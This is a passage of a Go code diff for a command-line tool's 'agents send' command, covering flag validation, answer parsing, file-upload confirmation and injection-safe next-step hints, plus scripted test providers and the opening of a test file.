Send: iagents.SendOp{Handler: func(_ context.Context, _ iagents.Runtime, in iagents.SendInput) (*iagents.AgentTask, error) {
if scripted.send == nil {
panic("scripted provider: Send hook not set")
}
return scripted.send(in)
}},
GetTask: iagents.TaskGetOp{Handler: func(_ context.Context, _ iagents.Runtime, taskID string) (*iagents.AgentTask, error) {
if scripted.getTask == nil {
panic("scripted provider: GetTask hook not set")
}
return scripted.getTask(taskID)
}},
ListTasks: iagents.TaskListOp{Handler: func(_ context.Context, _ iagents.Runtime, contextID string, page iagents.PageParams) ([]iagents.TaskSummary, iagents.PageInfo, error) {
if scripted.listTasks == nil {
panic("scripted provider: ListTasks hook not set")
}
return scripted.listTasks(contextID, page)
}},
ListContexts: iagents.ContextListOp{Handler: func(_ context.Context, _ iagents.Runtime, page iagents.PageParams) ([]iagents.ContextSummary, iagents.PageInfo, error) {
if scripted.listContexts == nil {
panic("scripted provider: ListContexts hook not set")
}
return scripted.listContexts(page)
}},
GetContext: iagents.ContextGetOp{Handler: func(_ context.Context, _ iagents.Runtime, ctxID string) (*iagents.ContextDetail, error) {
if scripted.getContext == nil {
panic("scripted provider: GetContext hook not set")
}
return scripted.getContext(ctxID)
}},
DeleteContext: iagents.ContextDeleteOp{Handler: func(_ context.Context, _ iagents.Runtime, ctxID string) error {
if scripted.deleteContext == nil {
panic("scripted provider: DeleteContext hook not set")
}
return scripted.deleteContext(ctxID)
}},
DownloadArtifact: iagents.ArtifactDownloadOp{Handler: func(_ context.Context, _ iagents.Runtime, taskID, artifactID string) (*iagents.ArtifactData, error) {
if scripted.downloadArtifact == nil {
panic("scripted provider: DownloadArtifact hook not set")
}
return scripted.downloadArtifact(taskID, artifactID)
}},
}
}
// fakescopedAllScopes is the full RequiredScopes set of the fakescoped test
// provider, sorted — the all-or-nothing preflight requires every one for any
// real API verb.
var fakescopedAllScopes = []string{
"fakescoped:agent_artifact:read",
"fakescoped:agent_attachment:write",
"fakescoped:agent_chat:read",
"fakescoped:agent_chat:write",
}
// fakeflowAgentIDSource is the AgentIDSource text of the fakeflow provider —
// the non-enumerable `agents list <scheme>` error surfaces it as the hint.
const fakeflowAgentIDSource = "在 fakeflow 测试控制台获取 agent_id形如 agt_xxx"
// minimalSpec is the least-capable legal instance template: only the two core
// verbs are wired (with tripwire handlers — these tests never reach them), so
// every optional verb is honestly unsupported. It is the vehicle for
// unwired-verb shape/ordering tests now that scriptedSpec wires everything.
func minimalSpec() *iagents.AgentSpec {
return &iagents.AgentSpec{
Send: iagents.SendOp{Handler: func(_ context.Context, _ iagents.Runtime, _ iagents.SendInput) (*iagents.AgentTask, error) {
panic("fakemin provider: not callable")
}},
GetTask: iagents.TaskGetOp{Handler: func(_ context.Context, _ iagents.Runtime, _ string) (*iagents.AgentTask, error) {
panic("fakemin provider: not callable")
}},
}
}
// registerScripted registers the scripted schemes exactly once (Register panics
// on duplicates). All are instance-type (agent_id is arbitrary), and not
// enumerable (no ListAgents hook). They leak into the package-level registry for
// the rest of this package run — so no test may assert an exact provider set.
//
// - fakeflow: no RequiredScopes (preflight always passes) — the workhorse.
// - fakescoped: a 4-scope RequiredScopes set, for the scope-preflight tests.
// - fakemin: the same 4-scope set on the minimal spec — the vehicle for
// unwired-verb gating (its capability gate must answer before preflight).
var registerScriptedOnce sync.Once
func registerScripted() {
registerScriptedOnce.Do(func() {
iagents.Register(iagents.Provider{
Scheme: "fakeflow",
Label: "test fake (scripted flow)",
AgentIDSource: fakeflowAgentIDSource,
Identities: []iagents.IdentitySpec{{Type: iagents.IdentityUser}, {Type: iagents.IdentityBot}},
Instance: scriptedSpec(),
})
iagents.Register(iagents.Provider{
Scheme: "fakescoped",
Label: "test fake (scoped)",
AgentIDSource: "test only",
RequiredScopes: fakescopedAllScopes,
Identities: []iagents.IdentitySpec{{Type: iagents.IdentityUser}, {Type: iagents.IdentityBot}},
Instance: scriptedSpec(),
})
iagents.Register(iagents.Provider{
Scheme: "fakemin",
Label: "test fake (minimal caps)",
AgentIDSource: "test only",
RequiredScopes: fakescopedAllScopes,
Identities: []iagents.IdentitySpec{{Type: iagents.IdentityUser}, {Type: iagents.IdentityBot}},
Instance: minimalSpec(),
})
})
}

597
cmd/agents/send.go Normal file
View File

@@ -0,0 +1,597 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agents
import (
"fmt"
"os"
"regexp"
"strings"
"time"
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
iagents "github.com/larksuite/cli/internal/agents"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/output"
"github.com/larksuite/cli/internal/validate"
)
// sendOptions holds all inputs for `agents send <ref>`.
type sendOptions struct {
Factory *cmdutil.Factory
Cmd *cobra.Command
Ref string
Text string
Files []string
Params []string
ContextID string
TaskID string
Answers []string // raw --answer key=value entries, argv order
DryRun bool
Yes bool
As string
Format string
}
// NewCmdAgentSend builds `agents send <agent_ref>`: send a message to a remote
// agent, starting a new task or continuing an existing one. `--dry-run`
// validates the inputs against the agent Card and prints the request preview
// without any API call (always available). A send fires and returns the
// current task immediately; poll progress with
// `agents task get <agent_ref> <task-id> --watch` (surfaced via meta.next).
// `--file` uploads local files to the remote agent — the content leaves this
// machine. Risk=write. runF, when non-nil, replaces the production run path
// (test seam).
func NewCmdAgentSend(f *cmdutil.Factory, runF func(*sendOptions) error) *cobra.Command {
opts := &sendOptions{Factory: f}
cmd := &cobra.Command{
Use: "send <agent_ref>",
Short: "Send a message to a remote agent (start a new task or continue an existing one)",
Long: "Send one message to the remote agent addressed by agent_ref. Without --context-id/--task-id it starts a new task; " +
"with --context-id (optionally --task-id) it continues the same multi-turn context; with --answer it answers the task's pending input_required question group. " +
"--dry-run only validates locally and prints the request preview without calling the API. A send fires and returns the current task immediately; " +
"poll progress with agents task get <agent_ref> <task-id> --watch (see meta.next).",
Args: exactArgsWithUsage(1),
RunE: func(cmd *cobra.Command, args []string) error {
if err := validateFormat(opts.Format); err != nil {
return err
}
opts.Cmd = cmd
opts.Ref = args[0]
if runF != nil {
return runF(opts)
}
return agentSendRun(opts)
},
}
cmd.Flags().StringVar(&opts.Text, "text", "", "消息的自由文本部分:起任务/续聊的正文,或随 --answer 的整体附言(--text 永远不是某道题的答案)")
cmd.Flags().StringArrayVar(&opts.Files, "file", nil, "随消息外发的本地文件路径,可重复;文件会被上传到远端 provider内容离开本机")
addParamFlag(cmd, &opts.Params)
cmd.Flags().StringVar(&opts.ContextID, "context-id", "", "多轮上下文 id续发同一会话")
cmd.Flags().StringVar(&opts.TaskID, "task-id", "", "向已有任务续发(须与 --context-id 一起用)")
cmd.Flags().StringArrayVar(&opts.Answers, "answer", nil, "回答 input_required 问题组,可重复:给选项键用 <question_id>=<option_id>(多选重复同 key给文字用 <question_id>.text=<文本>;须与 --context-id/--task-id 一起用")
cmd.Flags().BoolVar(&opts.DryRun, "dry-run", false, "只做本地校验并打印请求预览,不调用 API")
cmd.Flags().BoolVar(&opts.Yes, "yes", false, "确认用 --file 把本地文件外发上传到远端(不加则 exit 10不上传")
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
if f != nil {
cmdutil.AddAPIIdentityFlag(cmd.Context(), cmd, f, &opts.As)
} else {
// f is nil only in construction-time unit tests; register a bare --as so
// the flag surface is still assertable without a Factory.
cmd.Flags().StringVar(&opts.As, "as", "", "identity type: user | bot")
}
cmdutil.SetRisk(cmd, cmdutil.RiskWrite)
return cmd
}
// sendMode is send's semantic mode, derived from the flags by a fixed priority
// (the user never passes a mode). The discriminator formalizes what the guards
// enforce: answer needs the pending group's task+context and takes --answer
// entries (with --text as an optional message-level remark); continue/start
// need --text.
type sendMode string
const (
modeStart sendMode = "start" // no context/task/answers — a fresh task
modeContinue sendMode = "continue" // has context (optionally task) — same conversation
modeAnswer sendMode = "answer" // has --answer entries — input_required group reply
)
// answerKeyPattern is the offline --answer key grammar: a KeyPattern-conforming
// question id plus at most one case-sensitive ".text" suffix. Anything else —
// ".txt", ".TEXT", a bare ".text", two dots, a '-'-leading flag-lookalike — is
// rejected before any network access, because the only two legal key shapes are
// <qid> and <qid>.text and a near-miss silently becoming an unknown question_id
// at the provider would send the AI down the wrong recovery branch.
var answerKeyPattern = regexp.MustCompile(`^` + iagents.KeyCharsetRE + `(\.text)?$`)
// parseAnswers parses the raw --answer key=value entries into the §10.1 map
// encoding (values in argv order), running every offline guard in one
// collect-all pass so a multi-error submission is fixed in one round-trip:
// key=value shape, key grammar, non-empty value, no duplicate .text entry per
// question. Exact duplicate bare values are deduplicated (an AI retry glitch is
// idempotent, not an error). Semantic validation (does the qid exist, is the
// value a legal option) is deliberately NOT here — the CLI is stateless and
// does not hold the question group; that is the provider's policy (§6.3).
func parseAnswers(raw []string) (map[string][]string, error) {
answers := make(map[string][]string, len(raw))
var viols []string
for _, entry := range raw {
key, value, ok := strings.Cut(entry, "=")
if !ok {
viols = append(viols, fmt.Sprintf("%s非 key=value 形)", entry))
continue
}
if !answerKeyPattern.MatchString(key) {
viols = append(viols, fmt.Sprintf("%skey 非法:合法形态只有 <question_id> 与 <question_id>.text", key))
continue
}
if value == "" {
viols = append(viols, fmt.Sprintf("%s空答案无意义选项题给 option_id、文字给非空文本不想答的题不要带这个 key", key))
continue
}
if _, isText := iagents.SplitAnswerKey(key); isText && len(answers[key]) > 0 {
viols = append(viols, fmt.Sprintf("%s同一题的 .text 只能出现一次,文本不累积)", key))
continue
}
dup := false
for _, v := range answers[key] {
if v == value {
dup = true // exact duplicate → dedupe silently
break
}
}
if !dup {
answers[key] = append(answers[key], value)
}
}
if len(viols) > 0 {
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
"非法的 --answer: %s", strings.Join(viols, "")).
WithParam("--answer").
WithHint("给选项键用 --answer <question_id>=<option_id>(多选重复同 key给文字用 --answer <question_id>.text=<文本>,逐条修正后整组重发")
}
return answers, nil
}
// deriveSendMode classifies the send and runs the per-mode client-side guards
// (all offline, all holding under a nil Factory). Conflicting combinations
// never silently fall back to another mode. Guard PRECEDENCE is deliberate
// mode-first: with several simultaneous mistakes the mode-defining flag's guard
// wins (e.g. --answer without --context-id reports the answer guard, not the
// missing --text) — the caller learns which MODE it got wrong before which
// field it forgot. Returns the parsed answers map for the answer mode (nil
// otherwise).
func deriveSendMode(opts *sendOptions) (sendMode, map[string][]string, error) {
if len(opts.Answers) > 0 {
// answer: continues the pending group's own task, so both ids are required.
if opts.ContextID == "" || opts.TaskID == "" {
return "", nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
"回答问题组需同时提供 --context-id 与 --task-id").
WithParam("--answer").
WithHint("--answer 必须与该问题组所属任务的 --context-id/--task-id 一起提供(照抄 task get 输出 meta.next 的命令模板)")
}
answers, err := parseAnswers(opts.Answers)
if err != nil {
return "", nil, err
}
// --text stays optional here: it is the message-level remark, never a
// question's answer.
return modeAnswer, answers, nil
}
if opts.TaskID != "" && opts.ContextID == "" {
return "", nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
"--task-id 需与 --context-id 一起使用").
WithParam("--task-id").
WithHint("补充 --context-id <ctx-id> 后重发;该任务所属会话可用 lark-cli agents task get <agent_ref> <task-id> 输出的 context_id 确认")
}
if opts.Text == "" {
return "", nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "--text 不能为空").
WithParam("--text").
WithHint(`补充 --text "<消息内容>" 后重发;若在回答问题组,用 --answer <question_id>=<option_id> 或 --answer <question_id>.text=<文本>`)
}
if opts.ContextID != "" {
return modeContinue, nil, nil
}
return modeStart, nil, nil
}
// agentSendRun validates the send inputs, resolves the provider, and either
// prints a dry-run preview or dispatches the message. The mode guards run
// first so they never touch the network and hold even under a nil Factory. A
// send fires once and returns the current task immediately (exit 0); the
// caller polls progress via the meta.next `task get ... --watch` hint.
func agentSendRun(opts *sendOptions) error {
_, answers, err := deriveSendMode(opts)
if err != nil {
return err
}
if err := validateSendFiles(opts.Files); err != nil {
return err
}
f := opts.Factory
// Resolution + --param validation + --dry-run are fully offline, so they work
// (and surface validation as exit 2) before the config gate. The card is
// built with rt=nil (capability matrix only) for the file gate; --param
// validation reads the send operation's own declaration.
prov, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
if err != nil {
return err
}
// Whole-agent brand gate (offline), before the card / any network access.
if err := brandGate(f, spec, opts.Ref); err != nil {
return err
}
// Send is a core op; gate it on its own Brands too (normally empty ⇒ no-op).
if err := opBrandGate(f, spec.Send.Brands, opts.Ref, "send"); err != nil {
return err
}
card := iagents.BuildCard(opts.Cmd.Context(), prov, spec, agentID, resolvedBrand(f), nil)
vp, err := validateParams(opts.Params, spec.Send.Params, iagents.VerbSend, spec, opts.Ref)
if err != nil {
return err
}
in := iagents.SendInput{
Text: opts.Text,
Files: opts.Files,
ContextID: opts.ContextID,
TaskID: opts.TaskID,
Answers: answers,
}
// --dry-run is a client-side behavior: always available, never
// gated by the Card's dry_run capability, and never touches the API.
if opts.DryRun {
return emitDryRun(f, opts.Cmd, opts.Ref, in, vp.Resolved, opts.Format)
}
// An agent that never enters input_required cannot take a group answer, so
// --answer against it is unsupported_capability — gated offline (mirrors the
// --file/file_input gate) to save the caller a doomed round-trip.
if len(in.Answers) > 0 && !card.Supports(iagents.CapInputRequired) {
return capabilityError(opts.Ref, "send with --answer", iagents.CapInputRequired)
}
if len(in.Files) > 0 {
// An agent that does not declare file_input cannot take an upload, so
// --file against it is unsupported_capability — gated before any network
// access, so the user is not told "confirm the upload" for a send that
// would be rejected anyway.
if !card.Supports(iagents.CapFileInput) {
return capabilityError(opts.Ref, "send with --file", iagents.CapFileInput)
}
// --file exfiltrates local file content off this machine (the provider
// reads the file and uploads it to the remote agent). That is an
// irreversible, CLI-enforced high-risk write: a real send that would upload
// requires --yes, returning confirmation_required (exit 10) before any
// network access. dry-run above is exempt — it never uploads.
if !opts.Yes {
return errs.NewConfirmationRequiredError(errs.RiskHighRiskWrite, "agents send --file",
"--file 会把本地文件外发上传到远端 agent内容离开本机不可撤回").
WithHint("确认要外发这些文件后,加 --yes 重发")
}
}
// A real send calls the API, so it needs a configured client; build the
// identity-pinned runtime now (not_configured / exit 3 here is correct).
rt, err := runtimeFor(f, id, agentID, vp.Resolved)
if err != nil {
return err
}
// Local scope preflight: after runtimeFor, before the API call. The check is
// all-or-nothing — any real API verb requires the provider's full scope set.
if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
return err
}
task, err := spec.Send.Handler(opts.Cmd.Context(), rt, in)
if err != nil {
return err
}
notice := normalizeTask(task)
// A send fires and returns the current task immediately (exit 0). Progress is
// polled separately via the meta.next `task get <agent_ref> <task-id> --watch`
// hint — send no longer blocks on the task reaching a stop condition.
return emitTask(f, opts.Cmd, task, nextForTask(opts.Ref, task, spec, vp.Given, iagents.VerbSend), opts.Format, notice)
}
// validateSendFiles is the local gate on --file paths, running before any
// capability/confirmation gate or network access (dry-run included): every
// path must be a relative-within-CWD (the lark-shared safety rule the docs
// promise) EXISTING regular file. Violations are collected and reported in one
// pass, mirroring the --param collect-all style, so a multi-file send is fixed
// in one round-trip. Without this gate a bad path used to be discovered only
// by the provider (or worse, silently "uploaded").
func validateSendFiles(files []string) error {
var viols []string
for _, p := range files {
abs, err := validate.SafeInputPath(p)
if err != nil {
viols = append(viols, fmt.Sprintf("%s仅接受 CWD 内的相对路径)", p))
continue
}
st, err := os.Stat(abs)
switch {
case err != nil:
viols = append(viols, fmt.Sprintf("%s文件不存在或不可读", p))
case st.IsDir():
viols = append(viols, fmt.Sprintf("%s是目录--file 只接受文件)", p))
}
}
if len(viols) == 0 {
return nil
}
return errs.NewValidationError(errs.SubtypeInvalidArgument,
"非法的 --file 路径: %s", strings.Join(viols, "")).
WithParam("--file").
WithHint("--file 只接受当前目录内的相对路径且文件必须存在,逐条修正后重发")
}
// emitDryRun writes the dry-run preview: {dry_run:true, would_send:{…}}
// reconstructed from the validated input, so a caller can inspect exactly what
// a real send would post without contacting the agent. format=pretty (no --jq)
// renders the same fields as key: value lines instead of the envelope.
func emitDryRun(f *cmdutil.Factory, cmd *cobra.Command, ref string, in iagents.SendInput, params map[string]string, format string) error {
if format == "pretty" && jqExpr(cmd) == "" {
out := f.IOStreams.Out
fmt.Fprintln(out, "dry_run: true")
fmt.Fprintf(out, "agent_ref: %s\n", kvValue(ref))
fmt.Fprintf(out, "text: %s\n", truncateRunes(kvValue(in.Text), 120))
if len(in.Files) > 0 {
fmt.Fprintf(out, "files: %d\n", len(in.Files))
}
if len(params) > 0 {
fmt.Fprintf(out, "params: %d\n", len(params))
}
if in.ContextID != "" {
fmt.Fprintf(out, "context_id: %s\n", kvValue(in.ContextID))
}
if in.TaskID != "" {
fmt.Fprintf(out, "task_id: %s\n", kvValue(in.TaskID))
}
if len(in.Answers) > 0 {
fmt.Fprintf(out, "answers: %d\n", len(in.Answers))
}
return nil
}
would := map[string]interface{}{
"agent_ref": ref,
"text": in.Text,
}
if len(in.Files) > 0 {
would["files"] = in.Files
}
if len(params) > 0 {
// Default 回填后的终值:预演即所得。
would["params"] = params
}
if in.ContextID != "" {
would["context_id"] = in.ContextID
}
if in.TaskID != "" {
would["task_id"] = in.TaskID
}
if len(in.Answers) > 0 {
// §10.1 键编码原样预览:预演即所得。
would["answers"] = in.Answers
}
env := output.Envelope{
OK: true,
Identity: string(f.ResolvedIdentity),
Data: map[string]interface{}{
"dry_run": true,
"would_send": would,
},
Notice: output.GetNotice(),
}
if jq := jqExpr(cmd); jq != "" {
return output.JqFilter(f.IOStreams.Out, env, jq)
}
output.PrintJson(f.IOStreams.Out, env)
return nil
}
// nextIDPattern is the character whitelist for server-supplied identifiers
// (task_id / context_id / question_id) before they are interpolated into a
// meta.next command string: first character alphanumeric, then letters, digits,
// '_' and '-'. It is deliberately stricter than validate.ResourceName — that
// check is a denylist aimed at URL-path safety and would pass shell
// metacharacters (spaces, ';', backticks, quotes), which are exactly what
// matters here: meta.next is defined as "AI executes this verbatim", so a
// server-controlled id is a command-injection surface. The alphanumeric first
// character additionally rejects flag-lookalike ids ("--text", "-o") that would
// survive a bare charset test yet hijack the flag surface when an AI re-composes
// the command. It matches iagents.KeyPattern by construction — the two layers
// must agree or a key accepted at one becomes a dead end at the other.
var nextIDPattern = regexp.MustCompile(`^` + iagents.KeyCharsetRE + `$`)
// safeNextID reports whether s may be interpolated into a meta.next command.
func safeNextID(s string) bool {
return nextIDPattern.MatchString(s)
}
// nextRefPattern is the whitelist for a user-supplied ref before it is
// interpolated into a meta.next command or a hint command string: the
// safeNextID charset on both sides of exactly one ':' (the <scheme>:<agent_id>
// shape ParseRef accepts, further restricted to command-safe characters). A
// ref is not server-controlled — the threat model is not injection but
// copy-paste breakage (a ref with spaces/quotes yields a command that cannot
// be executed verbatim), so a failing ref simply drops the command hint.
var nextRefPattern = regexp.MustCompile(`^[A-Za-z0-9_-]+:[A-Za-z0-9_-]+$`)
// safeNextRef reports whether ref may be interpolated into a meta.next / hint
// command string.
func safeNextRef(ref string) bool {
return nextRefPattern.MatchString(ref)
}
// nextForTask builds the meta.next[] hints for a send result: a terminal task
// suggests fetching its artifacts / detail, a still-running task the poll
// command, an input_required task the continue command, and an auth_required
// task the re-authorize flow (auth login, not a text continuation). AI callers use
// these to chain the next step without guessing the command shape, so every
// value interpolated here must pass its whitelist first: the ref (safeNextRef)
// and the task_id (safeNextID) each suppress the whole hint when they fail
// (prefer dropping the hint over risking injection); a failing context_id
// degrades to the <context_id> placeholder,
// which keeps the hint while interpolating nothing untrusted. A hint whose
// command carries <...> placeholders is marked Template so callers know it
// needs substitution before execution.
// nextForTask additionally carries business parameters for the TARGET verb of
// each suggested command per the three-way rule (see paramArgsFor): given
// values that pass the whitelist ride literally, whitelist failures degrade
// required params to placeholders, and target-verb-required params the caller
// never provided are added as placeholders — so a required parameter is
// structurally incapable of falling off the chain. given is what the caller
// explicitly provided this call (never backfilled defaults); spec may be nil
// in construction-time tests (no params are carried then).
// caller is the verb that produced this output: a terminal task viewed via
// task get must NOT suggest the very command the caller just ran (a naive AI
// following meta.next verbatim would loop on itself); the artifact downloads
// remain the only genuine increment there.
func nextForTask(ref string, task *iagents.AgentTask, spec *iagents.AgentSpec, given map[string]string, caller string) []output.NextAction {
if !safeNextRef(ref) {
return nil
}
if task == nil || task.TaskID == "" || !safeNextID(task.TaskID) {
return nil
}
if task.State.ShouldStopPolling() {
if task.State == iagents.StateAuthRequired {
// auth_required is an agent-side task state — the end user must
// (re)authorize in the agent (see the SKILL state semantics), NOT a CLI scope error and
// NOT a text continuation like input_required. Point at the auth
// re-authorize flow instead of a text continuation. The concrete scopes are the
// agent's declared scope set (see the lark-agents skill's prerequisites), so --scope is a
// placeholder → Template. ref/task_id are already whitelisted above, so
// echoing the re-check command in the label is safe.
// label 内嵌的重查命令按三分规则补 task_get 的参数携带——auth_required
// 是唯一不指向 agent 子树的 next链传规则同样不许在这条路上丢必填。
recheckArgs, _ := paramArgsFor(spec, iagents.VerbTaskGet, given)
return []output.NextAction{{
Label: fmt.Sprintf("完成重新授权后重查任务(据该 agent 所需 scope 定;重查: lark-cli agents task get %s %s%s", ref, task.TaskID, recheckArgs),
Command: `lark-cli auth login --scope "<required_scopes>"`,
Template: true,
}}
}
if task.State == iagents.StateInputRequired {
// A task pausing on a question group: expand ONE per-question template
// (design doc §4.4) so the AI never hand-assembles the answer grammar —
// the placeholder names the answer form per question type (bare
// <option_id> for a choice, marked repeatable for multi-select,
// .text=<文本> for free text). All values are placeholders, so the hint
// is always a template — which is also why a missing or
// whitelist-failing context_id can degrade to the <context_id>
// placeholder instead of dropping the hint. Every question_id is
// server-supplied and must pass the safeNextID whitelist before
// interpolation (normalization upstream guarantees this; a violation
// here degrades to the free-text continuation rather than emitting a
// key the CLI's own guard would reject).
ctxID := task.ContextID
if ctxID == "" || !safeNextID(ctxID) {
ctxID = "<context_id>"
}
sendArgs, _ := paramArgsFor(spec, iagents.VerbSend, given)
if ir := task.InputRequired; ir != nil && len(ir.Questions) > 0 {
parts := make([]string, 0, len(ir.Questions))
for _, q := range ir.Questions {
if !safeNextID(q.QuestionID) {
parts = nil
break
}
switch {
case len(q.Options) == 0:
parts = append(parts, fmt.Sprintf("--answer %s.text=<文本>", q.QuestionID))
case q.MultiSelect:
parts = append(parts, fmt.Sprintf("--answer %s=<option_id 多选可重复>", q.QuestionID))
default:
parts = append(parts, fmt.Sprintf("--answer %s=<option_id>", q.QuestionID))
}
}
if parts != nil {
return []output.NextAction{{
Label: "把问题组转达给用户后按其答复提交(用户先前指令已唯一确定答案时可代答,须说明依据);选项都不合适的题用 <question_id>.text=<文本>",
Command: fmt.Sprintf("lark-cli agents send %s --context-id %s --task-id %s %s%s", ref, ctxID, task.TaskID, strings.Join(parts, " "), sendArgs),
Template: true,
}}
}
}
// No structured group (provider supplied none and normalization had
// nothing to synthesize from): plain free-text continuation — the
// provider treats a message to its paused task as the answer (§6.5).
return []output.NextAction{{
Label: "补充输入后向同一任务续发",
Command: fmt.Sprintf("lark-cli agents send %s --context-id %s --task-id %s --text <你的答复>%s", ref, ctxID, task.TaskID, sendArgs),
Template: true,
}}
}
// Terminal: suggest reading the final detail, plus a ready-made download
// command per artifact (so the AI never has to hand-craft the
// `task get --artifact` form itself; -o stays a placeholder → template).
// When the caller IS task get, the detail suggestion would be a self-loop
// (the exact command just executed) — drop it and keep only the artifact
// increments.
var next []output.NextAction
if caller != iagents.VerbTaskGet {
getArgs, getTpl := paramArgsFor(spec, iagents.VerbTaskGet, given)
next = append(next, output.NextAction{
Label: "查看任务详情与产物",
Command: fmt.Sprintf("lark-cli agents task get %s %s%s", ref, task.TaskID, getArgs),
Template: getTpl,
})
}
next = append(next, artifactNext(ref, task, spec, given)...)
return next
}
getArgs, getTpl := paramArgsFor(spec, iagents.VerbTaskGet, given)
return []output.NextAction{{
Label: "轮询任务直到停轮询条件(有界;到点未终止照此再 watch",
Command: fmt.Sprintf("lark-cli agents task get %s %s --watch --timeout %s%s", ref, task.TaskID, defaultWatchTimeout, getArgs),
Template: getTpl,
}}
}
// artifactNext builds one ready-made download command per artifact of a
// terminal task: only when the spec wires DownloadArtifact, only for artifact
// ids that pass the whitelist (a failing id skips just that artifact), always
// template (the -o save path is the caller's choice). Params carry per the
// three-way rule against the artifact_download declaration.
func artifactNext(ref string, task *iagents.AgentTask, spec *iagents.AgentSpec, given map[string]string) []output.NextAction {
if spec == nil || !task.IsTerminal || len(task.Artifacts) == 0 {
return nil
}
if op, ok := spec.Op(iagents.VerbArtifactDownload); !ok || !op.Wired {
return nil
}
dlArgs, _ := paramArgsFor(spec, iagents.VerbArtifactDownload, given)
var next []output.NextAction
for _, a := range task.Artifacts {
if a.ID == "" || !safeNextID(a.ID) {
continue // 服务端 id 过不了白名单 → 跳过该产物,不冒注入险
}
next = append(next, output.NextAction{
// label 只内插已过白名单的 id产物名是 agent 可控文本,不进 label。
Label: fmt.Sprintf("下载产物 %s", a.ID),
Command: fmt.Sprintf("lark-cli agents task get %s %s --artifact %s -o <保存路径>%s", ref, task.TaskID, a.ID, dlArgs),
Template: true,
})
}
return next
}
// defaultWatchTimeout is the bounded poll window meta.next suggests for a
// still-running task: a safe default that avoids an unbounded --watch blocking
// forever on a long task and stops an AI caller from self-hammering. On expiry
// the poll returns the current state (exit 0) plus a fresh watch hint, so the
// caller re-watches in segments rather than blocking once. `--watch` used alone
// (--timeout 0) stays unbounded for backward compatibility.
const defaultWatchTimeout = 30 * time.Second

546
cmd/agents/send_test.go Normal file
View File

@@ -0,0 +1,546 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agents
import (
"context"
"encoding/json"
"errors"
"os"
"strings"
"testing"
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
iagents "github.com/larksuite/cli/internal/agents"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/output"
)
// sendCmdCtx builds a `lark-cli agents send` leaf command whose CommandPath() is
// non-empty (required for content-safety scanning) and whose --as flag is
// explicitly set to bot so ResolveAs honors it verbatim.
func sendCmdCtx(t *testing.T) *cobra.Command {
t.Helper()
root := &cobra.Command{Use: "lark-cli"}
group := &cobra.Command{Use: "agents"}
leaf := &cobra.Command{Use: "send"}
root.AddCommand(group)
group.AddCommand(leaf)
leaf.Flags().String("as", "", "identity")
if err := leaf.Flags().Set("as", "bot"); err != nil {
t.Fatal(err)
}
leaf.SetContext(context.Background())
return leaf
}
// sendTestOpts wires a sendOptions against a real (test) Factory, addressing
// the scripted fakeflow agent agt_x under an explicit bot identity. The
// Factory's httpmock registry holds zero stubs, so any HTTP attempt fails the
// test — everything under test here is command-layer behavior over the
// scripted provider.
// mkSendFile chdirs to a temp dir and creates name there, so --file passes the
// relative-within-CWD + existence gate (validateSendFiles) in tests.
func mkSendFile(t *testing.T, name string) {
t.Helper()
dir := t.TempDir()
old, err := os.Getwd()
if err != nil {
t.Fatal(err)
}
if err := os.Chdir(dir); err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = os.Chdir(old) })
if err := os.WriteFile(name, []byte("x"), 0o644); err != nil {
t.Fatal(err)
}
}
func sendTestOpts(t *testing.T) *sendOptions {
t.Helper()
registerScripted()
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
f, _, _, _ := cmdutil.TestFactory(t, cfg)
return &sendOptions{
Factory: f,
Cmd: sendCmdCtx(t),
Ref: "fakeflow:agt_x",
As: "bot",
}
}
// TestSendRequiresText pins that an empty --text is a validation error
// (subtype invalid_argument) raised before any provider is built.
func TestSendRequiresText(t *testing.T) {
err := agentSendRun(&sendOptions{Ref: "example:agt_x", Text: ""})
if err == nil {
t.Fatal("missing --text should raise a validation error")
}
if !errs.IsValidation(err) {
t.Fatalf("want validation error, got %T", err)
}
p, ok := errs.ProblemOf(err)
if !ok || p.Subtype != errs.SubtypeInvalidArgument {
t.Fatalf("subtype should be invalid_argument, got %+v", p)
}
// hint contract: a missing --text must carry a copy-pasteable remediation
// hint, and the param uses the -- prefix.
if !strings.Contains(p.Hint, "--text") {
t.Errorf("hint should guide adding --text, got %q", p.Hint)
}
var verr *errs.ValidationError
if !errors.As(err, &verr) || verr.Param != "--text" {
t.Errorf("param should be --text, got %+v", verr)
}
}
// TestSendTaskIDRequiresContextID pins that --task-id without --context-id is a
// validation error, raised before any provider is built.
func TestSendTaskIDRequiresContextID(t *testing.T) {
err := agentSendRun(&sendOptions{Ref: "example:agt_x", Text: "x", TaskID: "t1"})
if err == nil {
t.Fatal("--task-id without --context-id should error")
}
if !errs.IsValidation(err) {
t.Fatalf("want validation error, got %T", err)
}
p, ok := errs.ProblemOf(err)
if !ok || p.Subtype != errs.SubtypeInvalidArgument {
t.Fatalf("subtype should be invalid_argument, got %+v", p)
}
// hint contract: state the next step clearly (--task-id must be provided
// together with --context-id).
if !strings.Contains(p.Hint, "--context-id") {
t.Errorf("hint should note it must be used with --context-id, got %q", p.Hint)
}
var verr *errs.ValidationError
if !errors.As(err, &verr) || verr.Param != "--task-id" {
t.Errorf("param should be --task-id, got %+v", verr)
}
}
// TestSendAnswerGroup pins the structured input_required answer path: --answer
// entries need no --text, and they reach the provider hook as the §10.1 map
// encoding — keys verbatim (bare vs .text), values in argv order, multi-select
// accumulated, exact duplicates deduplicated.
func TestSendAnswerGroup(t *testing.T) {
opts := sendTestOpts(t)
opts.ContextID = "sess_1"
opts.TaskID = "task_1"
opts.Answers = []string{
"q1_a8=by_region",
"q2_a8.text=2024 全年",
